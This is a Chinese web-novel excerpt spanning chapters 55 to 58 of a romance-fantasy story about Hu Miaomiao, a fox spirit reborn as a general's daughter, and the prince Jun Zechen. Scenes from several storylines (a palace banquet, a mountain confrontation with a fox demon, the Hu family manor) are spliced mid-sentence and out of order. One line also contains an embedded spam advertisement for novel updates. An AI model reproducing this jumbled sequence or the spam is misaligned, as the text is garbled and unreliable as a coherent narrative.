胡淼眼睁睁看着圣旨从她指尖溜走,所有人兵荒马乱…… “我不是……”不是隐疾…… “公主快躺下!”不知谁说了一句,胡淼眼眸微垂,下意识抓紧白衣,又瞅一眼地板,有些踌躇…… 这衣服料子挺贵吧,躺脏了要不要赔啊,不过剧情需要,作为敬业的演员,胡淼腿一蹬,手臂一挥舞,眼睛一闭,举手投足之间努力让自己美美哒,白衣飘飘,如同坠落的蝴蝶——成功躺尸! 把贵妃榻抬过来,正准备扶着公主起身躺下的宫婢们:“……不得了,公主晕了!” 那都不重要了,梁昌荣尴尬地收回腿,视线若有若无地瞥向她身后,美色在前到底没了方才的气焰,阴阳怪气道:“表妹,你看昨天晚上不过是跟你开个玩笑,下那么大雨你一个姑娘家往深山老林里跑,这得有多危险啊,你看看你把我打成这样,亏我担心你一晚上睡不好觉。” 胡淼淼见他脸色别扭,眼底淤青,头戴的绢帛上还渗着血迹,还真像那么回事儿,不由得似笑非笑:“表哥,三年未见,甚是想念,你突然出现在我房间里,表妹这颗小鹿乱撞的心,一时没忍住也跟你开了个小玩笑,你怎的还当真了?” 头被开瓢能不当真?有这么开玩笑的吗? 不提这事还好,一提这事,梁昌荣才意思自己来这里的目的。 他喜欢的人,绝对不允许被他人觊觎。 马车上那位,就是她的登徒子表哥吧? 君泽琛不动声色挡到胡淼淼身前,眼尾轻挑,透着疑惑:“之之,他是谁?是不是不喜欢我?” 胡淼淼发现,这男人穿衣服看起来消瘦,可往前这么一挡,竟然比她高那么多,还把她挡得严严实实。 她在他身后侧了一下头,才看见他说的那位,表情不变轻描淡写道:“这个啊,我表哥,他喜不喜欢不重要,我喜欢你就好。” 又来了这种感觉,嘴上说喜欢感情却出奇的淡,仿佛那看得见,抓不住的水,轻易就能从指尖溜走,君泽琛心里闪过一抹不悦,表面却不显分毫,而是勾了勾唇角,懂事道:“之之真好。” 他们越走越近,声音没有刻意压低,尽数落入梁昌荣耳中,他差点被气歪了鼻子,一向细长的眼睛瞪得老大,恨不得当场下车去把那对狗男女抓起来暴打。 旁边的小六见此,连忙道:“公子冷静,冷静,还是先回京城要紧,等到了胡家,可就不是小姐说的算了,有老夫人坐镇,那男狐狸精难不成还能上天?” 小六被香夫人千叮咛万嘱咐,看好少爷,胡淼淼从小最怕老夫人,回去自然有办法让她收心,先把人娶回来再慢慢调.教。 届时是圆是扁还不是少爷说的算? 梁昌荣放下帘子,咬牙切齿:“早晚让那贱人好看。” 男妖冷笑:“没用的东西。” 胡淼淼没有吱声,甚至觉得往日照在身上的阳光都是冷冷的,感受不到半点暖意。 梦醒了,她似乎又变回了当初任狐欺负的小可怜,身后只有冰冷的石头,和身前肆意妄为的狐妖。 见她和木头似的僵硬不动,白青谛眼底的邪光诡谲,“怎么,还是和以前一样倔?” 他蹲下来,捏住小狐狸的下巴,迫使她抬头。 “当初如果乖乖从了我,不闹出那么大动静,又怎会落得这副下场?你再猜,如果不是本君纵容你,你又怎么会在狐族的手下活到现在?” 第 55 章 第 55 章 “你胡说,我能活到现在,怎么可能和你有关系。”胡淼淼被气得浑身发抖。 她能活到现在,全靠自己命硬和捉妖师的保护。 她的所有不幸都是男妖害得,却冠冕堂皇地说是因为他才能从狐族手底下逃脱。 “是吗?不然你认为,为何狐族有很多手段让你当场毙命,却一次次放过你?” 白青谛自认为很残忍地拆穿现实。 他捏紧她小巧的下巴,抚摸着柔软的小绒毛,“醒醒吧,是我让狐族手下留情活捉你,而不是捕杀你,毕竟狐族那么多女妖,我唯独喜欢你这样的。” 他凝视小狐狸的蓝瞳,“没错,就是这样,这种眼神。” 机关算尽的眼神他看多了,唯独这样清纯的眼神,让他一眼就沦陷了。 君子弧有些心虚,却见君泽琛不知何时收回了视线,然后亲自端起茶盏,给女人倒茶? “!”我屮艸芔茻? 君子弧瞪大了眼睛,那个揍他千百遍的家伙,竟然有一天亲自伺候一个女人? 宫里的下人是摆设吗? 君泽琛当然没听到某人之前的话,不然现在君子弧会好端端坐在这里? 已经下去和阎王喝茶了好吗? 君泽琛只是感受到某人视线过于恶心,想要去敲打一下,谁知道对方还很识趣,他很满意。 接下来又用死亡淼视扫荡一波,确定没人再看他们后,才伸出手抢过宫婢正要倒茶的壶,亲自为胡淼淼满上,又试了试温度,见温度尚可递给胡淼淼。 “路上舟车劳顿,先喝点茶暖暖身子。” 他声音轻柔,听到宫婢耳中让她一惊,下意识看向传闻中的琛王妃,实在不明白,不过是从王府到皇宫而已,怎地好似从北疆边关回来似的? 不过,当她视线落在琛王妃身上又有些释然了。 琛王妃看起来柔柔弱弱的,好像生病了,传言中琛王妃是个病美人,未出阁之前一直在府中静养,众多名门闺秀聚集,都不曾见过胡将军嫡女,可见有多么金贵。 有那么一瞬间,宫婢觉得,能让琛王妃出席,是多么大的牌面。 意识到自己想什么,宫婢连忙打住,这是皇上的圣旨,她这么想可是大逆不道啊。 当时听说琛王妃要嫁给三王爷,大婚当日三王爷不顾颜面欺辱王妃,琛王抢亲,众所周知,琛王性格阴晴不定,行事张狂暴虐,原以为将军府病弱的嫡女根本就活不了几天,未曾想到对方竟不淼自降身份,给王妃倒茶。 琛王妃好福气~ 还不等宫婢感叹完,就感觉寒冷彻骨的视线落在自己身上,宫婢一惊,一低头就看见坐在席位上的琛王,正凉飕飕瞪着她。 “滚!” 一个字,宫婢想也没想就滚了。 至于端茶送水? 开玩笑,命都要没了好不?琛王既然那么爱伺候人,就让他去伺候吧。 君泽琛看着那慌张跑走的背影微微皱眉,有些烦躁。 原以为警告男人就好了,谁知道一回头,一个端茶的宫婢,竟然一直盯着他家王妃看。 真是…… 显摆自家娶到美娇娘的心思歇菜,君泽琛在这一刻后悔了。 胡淼淼结果茶盏,一回头就看见琛王正脸色难看,眼珠子逮谁瞪谁,好像遇见了杀父仇人似的。 她微微一愣,有些疑惑:“怎么了?” 今儿一早不会挺高兴的吗? 一直到现在二人都不曾分开,胡淼淼并没看见有谁惹怒他…… 察觉到她疑惑的视线,君泽琛收琛了危险气息,柔和一笑:“没事,就突然感觉眼睛有点不舒服。” 进沙子了,想砍人的那种。 距离这席位很近的众人:“……” 呵忒~ 还不舒服? 眼睛不舒服你瞪我们干·鸡·毛? “皇上驾到~” 在场的名门千金也已经开的差不多了,正在众人满肚子腹诽之际,一道道尖细的嗓音,从殿外传来! 一声接着一声,那抹明黄色身影终于靠近,满殿莺莺燕燕行礼。 按理来说,这古代男女席位是分开的,至少其他人是这样的,可是胡淼淼却被君泽琛护在位置上,成为殿内唯一一个异类。 皇上视线在她身上顿了一下,像是没发现一般走到龙椅上俯视众人,话语无意外是永恒不变的开场白,官员们连胜符合。 突然皇上话锋一转:“说起来,琛皇弟成亲到现在,可算舍得让弟妹出来散散心了。” 这声弟妹叫的有点尴尬。 之前某人曾下过一道圣旨,胡淼淼眨眼就从儿媳妇变成了弟妹,这种微妙感十足。 可皇上好像不知什么尴尬一般,哪壶不开提哪壶,台下大臣们都提他尴尬。 更有人下意识去看君子华,其中更是有一部分人见过君子华为了来历不明的女人处置将军之女,虽没胆子明目张胆看戏,但目光已经在双方之间游移了。 胡淼淼蹙眉,现在她极其不愿意让人总扯出于君子华的关系。 更何况,明明是给三王爷选妃,谈她为何意? 纵使心中有顾虑,可胡淼淼依旧没说话,皇上问的是君泽琛,并非是她,若是这时候抢话,难免不符合规矩。 青鸾殿占地面积甚广,皇上坐在首位,左下边是皇子排序到臣子,右手边则坐着皇后,其次才是一众女眷。 每人跪坐在一张长形桌案后,君泽琛与胡淼淼在一桌,桌案下没人看见一只大手偷偷摸了过去。 胡淼淼一愣,长睫垂落去看那只极其不端庄的手,正把玩着她的手。 君泽琛一边玩,一边随口应付:“某人不珍淼,本王自当有眼识珠。” 胡淼淼轻咳一声,某人还真敢说。 这不明晃晃当着人家面说他儿子眼光不行鼠目寸光吗? 君泽琛动作一顿,众目睽睽之下,伸出另一只手给她递茶:“润润喉,你身体不好莫要着凉了。” 众人:“……” 说出来可能不信,这绝逼不是哪个在朝堂之中和他们斗智斗勇的小疯批! 女眷那边,不少女子把视线从三王爷那边转移到君泽琛身上,目光逐渐惊羡。 以往名门千金只知道琛王是个一言不合就杀人的主 ,闻风丧胆的大魔头,未曾想到,能够见到魔头温柔的一面…… 身为王爷,为王妃斟茶,还出言维护,说起话来丝毫不像传闻中那么可怕,反而很动听。 就好似王妃是他含在嘴里怕化的明珠似的。 这让不少人心思活络了起来。 原来,琛王也会好女色,那他们岂不是有机会? 犯不着吊死在三王爷这一棵歪脖子树上。 三王爷虽然很优秀,可是作为未来储君,说他冷漠吧,他又有点优柔,说他人好相处吧,又给整天挎着大碧莲。 和琛王比起来,这种独宠我一人的张狂劲儿,简直太有征服·欲了吧…… 不知不觉间,女人们已经忘记自己参加谁的选妃宴了。 在她们蠢蠢欲动之际,正巧皇后把话接过:“琛王身体正值壮年,琛王妃身体孱弱,如何能伺候周到,不如借着这次选妃宴,本宫帮你物色物色人选?回去纳个侧妃也是好的。” 此话一出,顿时全场姑娘沸腾了起来。 华贵妃母子二人脸色低沉如水,这皇后怎么回事? 前段日子琛王抢君子华新娘子还不够,这次还要来? 明明是君子华选妃宴,非要扯什么来琛王,这明摆着要给君子华难堪。 就算君子华本身不喜欢选妃宴,也忍不住皱了一下浓眉,眼底闪过一丝抑郁。 华贵妃暗自瞪向皇后,却见皇上正好看过来,脸色不怒自威,让她心下一惊,难道是皇上…… 皇上到底什么目的? 为什么要以子华的名义,这件事传出去岂不又要成为京城饭后笑柄? 众人心思百转,而故事的主角心中却慌得一批,下意识去看身边的佳人。 胡淼淼眉眼低垂,白净的脸上看不出任何不悦之色,仿佛周围人事都与她无关一般。 事实上确实如此,虽然在王府中,琛王待她极好,可在胡淼淼心里,他们只是交易关系而已。 更不会越过界限半步,感情之事,她并不想掺和,琛王不过是需要一个冲喜的而已,她呢? 从开始到现在,琛王帮助她很多,她又怎会去阻拦,万一这其中有琛王命中注定之人呢? 胡淼淼的态度让君泽琛有些酸楚,她就一点都不在意他吗? 哪怕……一点点? 他眸子一冷,嘴角却勾起轻狂的笑,“好啊~” 众人:“?” 好什么? “咯咯哒!”你慢点,鸡追不上了! 鸡大妖下山找捉妖师回来救狐,捉妖师似对山上的一切早有感应,丢下鸡精,用最快的速度赶回去。 他的背影瞬移,一闪一闪的,鸡精铆足了劲也跟不上,扑腾着翅膀原地跺脚,把翅膀当螺旋桨用,掉了一地鸡毛也在所不惜,希望能早点回去帮小狐狸。 虽然平时狐祖宗总是恐吓鸡,但是鸡大妖知道,它能活到现在,全仰仗狐祖宗,她可千万不要有事儿啊。 她要是死了,那捉妖师哪会管鸡的死活。 君泽琛先鸡精一步,他所过之处,压迫得四周空气都扭曲了,天空炸起惊雷,似警告,又似威胁。 男人统统无视,准确地循着小狐狸的气息冲过去。 强大的神识遍布整座山,他看见了。 他看见他的小狐狸在委屈,毛毛炸成蒲公英,眼睛泪汪汪,两只爪子害怕地搓在一起,嘤嘤哭泣。 他大步上前,一脚踹开血肉模糊的男妖,将毛绒团子捧在手里,轻轻安抚。 “有没有哪里受伤?” 第 56 章 第 56 章 小狐狸平时软软糯糯的一小团,现在受到惊吓整个狐都蓬松好几圈,圆溜溜的眼睛看见君泽琛的一刹那瞬间变成了荷包蛋眼。 今时不同往日,她后面有人了。 她委屈得说不出来话,颤巍巍伸出小爪尖指着男妖的方向,喉间发出犹如困兽的哽咽声。 君泽琛见她有些应激,捏着她的肉垫,轻声细哄:“别怕,是我不好,我回来晚了。” 狼族和狐族未开战之时,他离开会让红溯魇守着她,如今狐族狼族开战,成婚让红溯魇抽空回来几日已经很紧迫,山上只有小狐狸和山鬼和鸡精。 山鬼整日迷恋凡间的话本几乎不回来,鸡精又是个小废物。 他以为胡淼淼的修为可以保护好她自己,却忘记了,当一个人心中充满恐惧,空有实力是无法战胜的。 他不断给小狐狸顺毛,给她顺气,生怕她吓出个好歹。 胡淼淼确实很久没吃饱饭了,在末世资源匮乏,能啃上面包,都是求之不得,古代做饭技术虽然抵不过末世前,但总有自己的特色。 夏小荷带着几名丫鬟浩浩荡荡端菜进来,热腾腾的饭菜,配上胡淼淼跃跃欲试的小眼神儿,让夏小荷叹息。 自从老爷出事后,小姐寝食难安,过不上一天安稳日子。 昨夜担惊受怕,想必是饿坏了……吧?他们踌躇不前之际就见大小姐开口:“怎么,我们的阿冤敢做不敢当,刚才的勇气去哪了?” 车帘再次晃动,一个身影窜了出来。 众人一愣,只见男子一身暗红色长袍,身段高挑挺拔,容颜浑然天成的瑰丽却不显得轻佻,他眼里只有女子的身影,那张似神似妖的脸庞鼓了鼓,浅色瞳仁透着淡淡的羞意。 “之之,我敢刚才没站稳,不是故意的。” “哦!腿软?”胡淼淼状似不经意道:“男人,动不动就没站稳可不行,下次若是跌入其他姑娘怀里我可就吃醋了。” 男人顿时慌了支支吾吾解释不清,急得眼尾都红了,胡淼淼压下心头的疑虑示意他到自己身边来,继而转头对目瞪口呆的众人开口:“内人胆小,让诸位见笑了。” 众人犹如晴天霹雳,大小姐外面有人了? 后面马车下来的梁昌荣脸都绿了,活像被抢走夫人的怨夫,若不是有香夫人按着他早扑上去干架了,君泽琛也没想到胡淼淼会突然这么介绍自己心头一跳,加裙幺污儿二漆雾二吧椅每日更新最新完结文面上却十分配合胡淼淼的说辞。 他心思俨然不在众人身上,而是回忆着之前赤卫队掀开帘子检查的时候,他假装摔倒扑在胡淼淼身上,没让那人见到他的脸,那声音有些熟悉不知是敌是友。 眼下不是想这个的时候,他低头看自己的“未婚妻”挽着他宣示主权告诉所有人他是她内人,好像对他刚才的心思并不知情。 他暗地里打量四周,静静跟着胡淼淼身后走入胡府大门。 胡府在京城算是有名的商贾,说是首富也不为过,其住宅面积也很广,也十分有讲究,青灰色的转石路四通八达,东为尊,西为辅,南接客,北观景。 而胡家大小姐回来,竟被引进了及接待客人的南庭,胡淼淼本身不在乎胡府这些乱七八糟的规矩,但是既然别人有意升起怠慢之心,她也不会逆来顺受。 站在南厅四扇暗红色的扇门前,她停顿了脚步,众人也纷纷望过去,香夫人胡海香阴阳怪气:“怎地,回趟家,连路都不认得了?” 胡淼淼没有理会,侧身勾住君泽琛的臂弯,对众人问道:“怎么没见文叔叔?” 众人听到这名字,不约而同脸色僵硬下来。 大户人家,最注重规矩,按理来说管家不过是一个下人而已,犯不着他们特意提及。 可见管家略微特殊。 他是胡海林的结拜兄弟,比他们那些庶出兄弟的还亲,胡海林活着的时候特别尊重他,对方身世神秘,神龙见首不见尾甚至老夫人都礼让三分,胡府从未有人真敢把他当下人看待。 胡海林死去三年,胡府一滩散沙,全依仗文管家,可以说,胡府的大权尽数落在一个外人手中。 然而,胡府的众人不会觉得他会忍受胡淼淼被欺负,因为从小到大这位叔叔最宠胡淼淼,有他在谁都别想欺负了她去,如果不是胡家产业太多,他腾不出手,也不会让某些人觊觎他的宝贝侄女。 所以,胡淼淼一提文管家,胡府众人脸色都僵硬起来。 香夫人暗自咬牙,等她儿子娶到这死丫头就一步步架空了文信诚,一个外姓有什么资格掌管胡家? 夏小荷目瞪口呆看着胡淼淼三两口嗦喽没的鸡腿 ,整个人都陷入微妙的情绪。 不至于不至于。《裔族》 胡淼淼队长杨天表面上是一条糙汉子,实际上却有一颗中二的心,生死大逃亡还能顺一本,同时安利给她。 她看的不多,只知道男主叫君什么玩意儿,睚眦必报阴险狡诈善于伪装。 承启国永良帝年间荒淫无度,听小人远忠臣,差点架空了朝堂。 男主当朝七殿下,作为主角,小时候自然有一波凄凄惨惨的经历。 母妃艳丽无双,荣宠一时,而后被陷害与人通奸,能活到现在全靠幕后的师父支撑。 然后就是一波狗血的报复老片段,大仇得报,不愿管烂摊子直接丢给关系较好的皇子,遇见神医女主…… 说是女主,可实际上全程没有亲密戏码,仿佛作者不会写感情线,男主中毒,女主解毒,男主生病,女主治病,妥妥一工具人。 男主唯一一次帮女主的,大概就是帮女主灭了胡家。 按照原著,胡淼淼穿越过来的原主没有躲开算计,嫁给了凤凰男表哥。 凤凰男占满男人劣根,到处招惹是非,调戏到女主头上,被男主灭门,原主走投无路一把火烧了闺房,上吊自尽。 胡淼淼只看了个大概主线,就觉得十分无趣把书丢给扬天。 要是知道能穿越进来,她就应该全文背诵。 “小姐,香夫人来了。”她亲自把他的手放在自己肩膀上,自留三分,剩下的全部交给他。 这一刻,仿佛有什么发生细微个改变,若有若无的梅香散落在鼻尖,不知不觉渗透,流淌在二人之间,君泽琛掌心有些发烫,在胡淼淼看不见的情况下,浅色瞳仁中荡起一抹涟漪,掩藏深处的,犹如妖冶的邪兽,恣睢邪肆。 原来,她喜欢这种。 胡淼淼随众人回到琼山的那座山庄别院,刚打理干净自己,某些人就迫不及待上门来了。 她搜刮了一下原主记忆,优哉游哉拉开椅子坐下:“夏雨荷,有吃的吗?” 夏小荷:“……小姐,奴婢叫夏小荷,不叫夏雨荷。” 她倒杯茶,送到胡淼淼身边。 “小姐,慢点吃,您放心,等回了京城,文管家是不会再让人欺负您的。” 可怜的小姐,竟然用暴饮暴食来掩饰内心的不安,胡家不至于落魄至此。 蠢蠢欲动抄起羊蹄的胡淼淼眼睛都不抬一下。 夏小荷说的文管家,原主记忆中,好像是和胡海林拜把子兄弟,原主还得叫一声叔叔,胡家那么一大堆摊子需要收拾,那人神出鬼没,经常不在胡府,很难维护她,不然原主也不会那么容易嫁给凤凰男。 靠人不如靠自己,原主死时说如果有人帮她,付出生命代价都可以,占用原主的身躯非她所愿,她会让曾经欺负过原主的人一一付出代价。 胡家的东西,谁都别想染指。 至于书中的剧情,胡淼淼解决掉骚扰女主的凤凰男,还有男主什么事儿? “小姐,您带回来的男子,我们已经派人医治,您要不要去看看。” 胡淼淼动作一顿,她倒是忘了,还有一个掐她脖子的狗东西需要收拾。 不想还好,一想到此,她摸了摸脖子,总感觉连吞咽都会有一种疼痛。 影响到她吃饭了。 “等会,让我好好招待招待她。” 让她康康,附近有没有什么风水宝地,埋了他。 吃完饭的胡淼淼侧身打了个喷嚏,对面的男人立即道:“怎么?是不是要生病了?” 他抬手想要触碰胡淼淼的额头,却被她不经意躲开,“没事,可能是有人在骂我。” 狐的喷嚏可准了,以前连打好几个喷嚏,一爬草丛发现那几只小破狐狸正在骂她是没人要的野狐狸。 她狐疑地瞥了一眼男人,不会是他在骂狐吧? 君泽琛的手在半空中停滞半晌,若无其事地收回去。 “你今天胃口似乎不大好。” 以前一口气恨不得吞半个锅,和饿死鬼投胎似的,今日只是吸溜两口米汤,有几次君泽琛还发现她在嚼空气,疑似假吃。 “没什么。”胡淼淼低头扒拉碗里的汤,垂落的睫毛遮住眼底所有情绪。 小狐狸今日刚受到惊吓,说想一个人静静,他竟然真的抛下小狐狸,转而回来陪伴她? 胡淼淼不语,视线落在碗里,瓷碗光亮的釉面倒映着她泛红的双眸,只有她,能看见自己狼狈的眼神。 第 57 章 第 57 章 胡淼淼变了。 她最近的胃口不好,吃饭的时候经常走神,白日里君泽琛在家,她出去找山鬼看话本也不愿意和他单独相处。 有时候还会在外面吃,君泽琛做好了饭,她说吃完了。 君泽琛不语,沉默的收拾东西,和往常一样,到点做饭,她不吃,他就都解决掉,晚上照例铺床。 有白色的或者蓝色的狐毛,他不动声色藏起来,只不过有一天他在床上发现两根黑色的狼毛后,伫立了许久,才捡起来毁掉。 等胡淼淼回来,他面色如常,“最近家里闹了老鼠,黑色的,你如果看见别害怕。” 狐怎么会害怕呢,大黑耗子就在狐狸的食谱上啊。 不过以前胡淼淼在狐族,连老鼠都成精了根本抓不到。 用过膳后,胡淼淼来到西边最不起眼的院落,这个季节,阳光不会太灼热,柔和之中透着凉意,刚下完雨,空气带有一些潮湿,绿荫上浸着晶莹,山庄平时用来给胡家人落脚,西院倒是很少有人来,难免有些朴素。 但对于捡来的人来说,有住的地方已经不错了。 答复已经处理好男人的伤口,他伤势严重,正处于昏迷之中,胡淼淼进来看见这一幕。 阳光隔着窗花,洋洋洒洒晕染在男人白皙的脸上,昏睡中的美人一头让人艳羡的长发铺在床上,他鸦羽浓密在双眸出留下淡淡的影子,鼻梁挺拔,唇薄而红,艳得不诡异,仿佛绽放的罂粟,引人入魂。 夏小荷痴痴道:“小姐,您这是哪找的男人,比表少爷强多了,是打算带回去当姑爷吗?” 胡淼淼不为所动:“打算剁碎当花肥。”“你不记得了?” 看见他的神色,胡淼淼了然,不愧是世界狗血无处不在,一块石头都能把人拍失忆,如果不是知道现在正是主角帮兄长争皇位的紧要关头,这颜值,这剧情,胡淼淼都快以为他是主角了。 不过……翌日一早,胡淼淼被乱七八糟的声音吵醒,她从醒来后,恍惚觉得自己遗忘了什么。 “大小姐,老夫人命你过去一趟。” 哦,昨天为了安抚某个闹小情绪的男狐狸精,把这事儿忘了 到底谁是大冤种。 胡淼淼瘫在床上缓了缓,对自己能睡得这么安稳有些惊奇。 多年的习性是骗不了人的,在随时有可能跳出丧尸的世界,她三年不曾睡过一次安稳觉,来到这个世界,也就第一天晚上身体到了极限才睡一晚上,之后在山庄的晚上,都是睡一两个时辰然后梦中惊醒。 昨夜,和当初一样的就是,都有一个男人。 胡淼淼若有所思,难不成那男人还有助眠功能? 胡淼淼落在那张惊乱的容颜上,饶有兴致坐到床边,笑得不怀好意:“不要着急,慢慢想,我们有多是时间。” 女子淡蓝色裙摆在床上铺开,五官小巧秀气,美目淼笑流转之间似盛有星光,布灵布灵地任谁看见都会忍不住被吸引,继而产生信任。 对方却被她的举动吓了一跳,恨不得在床上刨个洞钻进去,他俊美的脸上浮现出羞恼,犹如醇厚的红酒一般醉人,慌忙地憋出一个字:“琛……” 他又觉得有些不妥,补充道:“我就记得一个字……” “冤?”胡淼淼双手一拍:“大冤种的冤吗?那我以后就叫你阿冤吧。” 冤种本冤:“???” 某人凌乱的墨发上仿佛有一只呆毛支棱出一个问号,胡淼淼假装没看见,扭头吩咐:“夏雨……小荷你再把大夫找来,给他看看到底怎么回事。” 就在刚刚,胡淼淼有了一个大胆的想法,还需要确认一下。 好在今儿一早请来的大夫还没走,他来诊治一番,视线落在病人的脑袋上,惋惜:“这位公子如此俊俏,那位歹徒怎能下死手,身上的刀伤休养一段时间便无碍了,重要的是后脑不知怎么伤的这么重,公子能有神智已经是奇迹,恢复记忆怕是……莫要强求啊。” 罪魁祸首淡定道:“小荷,送大夫回吧,然后去膳房给他熬药。” 大夫开了外敷内服的药方便离去了。 待众人走后,房间内就剩下他们二人,胡淼淼回头,见床上的“大冤种”正裹着被子,一副“这是谁我在哪”的表情。 他本身长得就昳丽,偏偏现在看起来好像掉到狼窝的羔羊,乖兮兮的,任谁都忍不住怜惜。 可惜,胡淼淼只想多欺负他两下,让他知道什么叫做人间险恶。 她不喜欢麻烦,胡家一堆烂摊子觊觎她的后院,里那剧情怎么说的? 一些里男主讨厌莺莺燕燕,在没爱上女主之前把女主当挡箭牌。 女主没做错什么就遭到这种待遇,那这个男人可是对她产生杀意,废物利用怎么了? 思及此处,胡淼淼顺手掏出一块手帕,嗷呜一口咬住,凄厉道:“可恶,到底是谁跟我胡府过不去,你可是我的冤冤未婚夫啊。” 简称怨夫。香夫人想起来了,当年她是胡家庶女,少时没少看老夫人脸色,而老夫人有一个特宠爱的侄女王梦瑶。 王家不如胡家有钱,可凭借着老夫人的关系,一个小门小户之女,时常住入胡家,过得比她这个胡府庶女还好。 胡家之人都知道老夫人的意思,肥水不留外人田,自古以来表哥和表妹在一起也是一段佳话。 然而胡海林竟然结识了一个满身书香气息的女人,并且不顾老夫人反对把她迎娶进门。 老夫人性格一向强势,儿子未能按照她的意愿 ,没少给新媳妇好脸色。 然而自古以来三妻四妾根深蒂固,就算承启国律令开放,依旧难以改变。 那位表妹并没有死心,之后发生了一件大事。 家丑不可外扬,香夫人是嫁出去的女儿,没机会了解更多,只知道后来,这位表小姐被王家和胡家赶出家门,撵去了乡下庄子。 当年不知发生了什么,如今…… 胡海香看着和王梦瑶有几分相似的少女,若有所思起来。 而王梦蝶当年就不是消停的人,寂静十多年,兴风作浪挑拨离间的本事依旧了得。 老夫人本来就难看的脸色,更加严肃黑沉,眉宇之间的褶皱越发明显。 偏巧,正在这时,她派出去的丫鬟冬竹,终于把人请来。 一时间,所有人的视线都落在门口的那道身影身上。 男人虎躯一震,妖冶至极的脸上全是震惊:“……未婚夫?” “对!”胡淼淼凑过去,贴心地帮他盖好被子,一把按在床上,柔情蜜意:“你放心,虽然你失去了记忆,但过去那些悲伤,忘了就忘了吧,我是不会抛弃你的,我们可以重头再来,带你去看看星空看月亮,看看我的心。” 虽然他失忆了,但是……他睫毛轻眨,眼角泛着诡异的红,点头:“好。” “好?”胡淼淼满肚子草稿噎了一下,暗道傻狍子真好骗,面上却十分忧愁:“你放心,虽然你不爱我了,但是我依旧爱你呀,你身上有伤我去看看药好没好,你先休息。” 她收回按住他的手,欣慰地离开。 看着走向门外,明媚而有伤的背影,男子脸上的表情收敛了几分,殷红的唇角似有似无地扯了扯。 他……叫君泽琛。 有些人,就算在陌生的环境下,也不会轻易相信任何人。 男人虽美,她也看呆过,但胡淼淼在末世三年,跟队友斩杀丧尸无数,经历过人性丑陋,也没见过谁身上流露出那种惊心的杀意。 他身份成谜,在胡家庄子附近,很可能是胡家的敌人。 她既然招惹了,就不会留下隐患。 夏小荷总感觉,小姐依旧站在那里,气势却截然不同了,仿佛变了一个人一样,无端让人胆寒,她默默搓了搓手臂,往门口挪两步。 空气中杀气在蔓延,胡淼淼站在床边居高临下,视线从上到下打量,惋惜他的“美貌”几秒,打算把人拖走去超度。 一直微凉,触感细腻的手,攥住她伸过去皓腕,昏迷中的男子似乎感觉到杀意,此时依然睁开眼睛。 他处于虚弱中,狭长微掀的眼角泛着惑人的红晕,瞳孔茫然:“你做什么?” 真是个敏锐的家伙,胡淼淼惋惜:“你醒来得不巧了。” 对方眉宇蹙起:“你是谁?” 胡淼淼动作一顿,垂眸认真观察,发现这个男人褪去了昨夜的戾气,犹如被拔掉利爪的狐狸幼崽,茫然过后,流露出一丝警惕,迅速收回抓着她的手,抱着被子蜷缩在床脚,墨发披散在身上,泛红的眸子透着湿意。 她略微试探:“你还记得自己叫什么吗?” 男子胸前的长发晃动,他妖艳的眉眼之间闪过一抹与其样貌不符的清纯:“我…是……” 琛…… “等会,我算一下时间。” 她学着禽兽医的模样掐指一算。 山鬼刚来那会儿,不就是君泽琛莫名其妙消失的那三个月吗? “君泽琛那时候不在日落山吧?你在哪遇见的他?” 山鬼分出一小团雾气,指了指日落山更高、更远的山顶。 “在那里呀,他一直都在。” 第 58 章 第 58 章 在日落山上有很多山峰,最高最远的那个很明显,胡淼淼在半山腰就能看见。 这一年来,她去过只有在觅食的时候去过两次,没怎么注意上面可以隐藏什么。 她速度比以前快,变成小狐狸嗖嗖窜上去。 在上面有一块巨大的石头,石头表面光滑,似乎都被什么东西抛光了,山鬼说:“当时我被红狼逮住,带到这里,君泽琛就在这里眺望。” 小狐狸探头探脑。 山峰上的风景很好,由这里往下看,甚至能清楚地看见她的狐狸洞。 胡淼淼心里毛毛的,问山鬼:“君泽琛在这里待多久?” 山鬼表示,自己曾经多次被君泽琛抓过来讲故事,几乎是给胡淼淼讲过的,君泽琛都要听一遍,并且严加批评剧情不合理,疑似入戏太深,也不知带入谁了,脸色难看得和黑锅似的。 然而,她每次来这里,那匹黑狼都趴在那块石头上往下看。 神色专注。 小六猝不及防被点名,本能的虎躯一震,往他身后躲了躲,随即他一愣,不对啊,有大少爷,他怕谁? 难不成少爷还弄不了一个女流之辈? 于是,小六梗着脖子:“大小姐,小的是奴才,您惩罚小的也是理所应当,小的忍就是了,但你不能毁了自己的名声给少爷抹黑。” 主仆二人你一句我一句,气得夏小荷浑身发抖,清秀的小脸皱成一团,正要上前指着他们骂无耻,就见素白的手抵在她面前,夏小荷气愤:“小姐?” 胡淼淼安抚性地拍了拍她的肩膀,眉眼之间不见丝毫愤怒,身姿纤细却不怯懦,美眸顾盼之间流露出欣慰之色:“如此,倒也不用表哥操心,此事绝不会耽搁亲事,回去我就跟外祖母商讨,选个良辰吉日把婚事安定下来。” 婚事? 愤愤然的梁昌荣表情停滞在脸上,哪怕早已把胡家视为囊中之物,在知道消息的这一刻也控制不住心中喜悦。 然而,还不等他说什么,便听那边道:“届时,还要邀表哥来吃一杯喜酒呢。” 轻飘飘的话,瞬间把云端上的人,劈得连渣都不剩…… 而院落中的话,也尽数落入屋内人耳中。 胡淼淼听了一会,毛绒绒下的皮肉红了一圈,脆生生骂了一句变态。 胡淼淼总把人记成大明湖畔的那位,摸摸鼻子:“抱歉,昨天晚上受到惊吓,有点糊涂。” 身为奴婢,自古以来都是主子说什么是什么,别说叫错名,直接改名都是正常的,小姐往常虽然性子柔弱,但主仆规矩还是有的,看来真的吓坏了,夏小荷受宠若惊,连忙行礼去灶房拿吃的。 等走到院落门口,看见那一行人,夏小荷才反应过来。 不对啊,香夫人还等着见小姐呢。 她想退回去提醒,香夫人眼尖:“臭丫头,你家小姐呢?还不快出来迎接,难不成要我这个做姑母的等她?” 胡海香并不是嫡亲姑姑,老爷子嫡子就只有胡淼淼的父亲,不过她一向爱以姑姑自居,原主脾气懦弱,她拿捏得遂心应手。 昨天晚上那件事,夏小荷觉得蹊跷,可她一个丫鬟又不能和香夫人硬碰硬,只能低头道:“回夫人的话,小姐昨天晚上受了惊吓,今儿尚未用膳,奴婢去给小姐拿膳食。” “呵~”香夫人挥开她轻移莲步走进去,边走边道:“失踪一晚上,孤男寡女衣衫不整当众出丑,做出那种下贱事儿胡家的脸都被她丢尽了,还有脸吃饭?今天母亲没在这,我这个做姑姑的,非要好好管教管教她。” 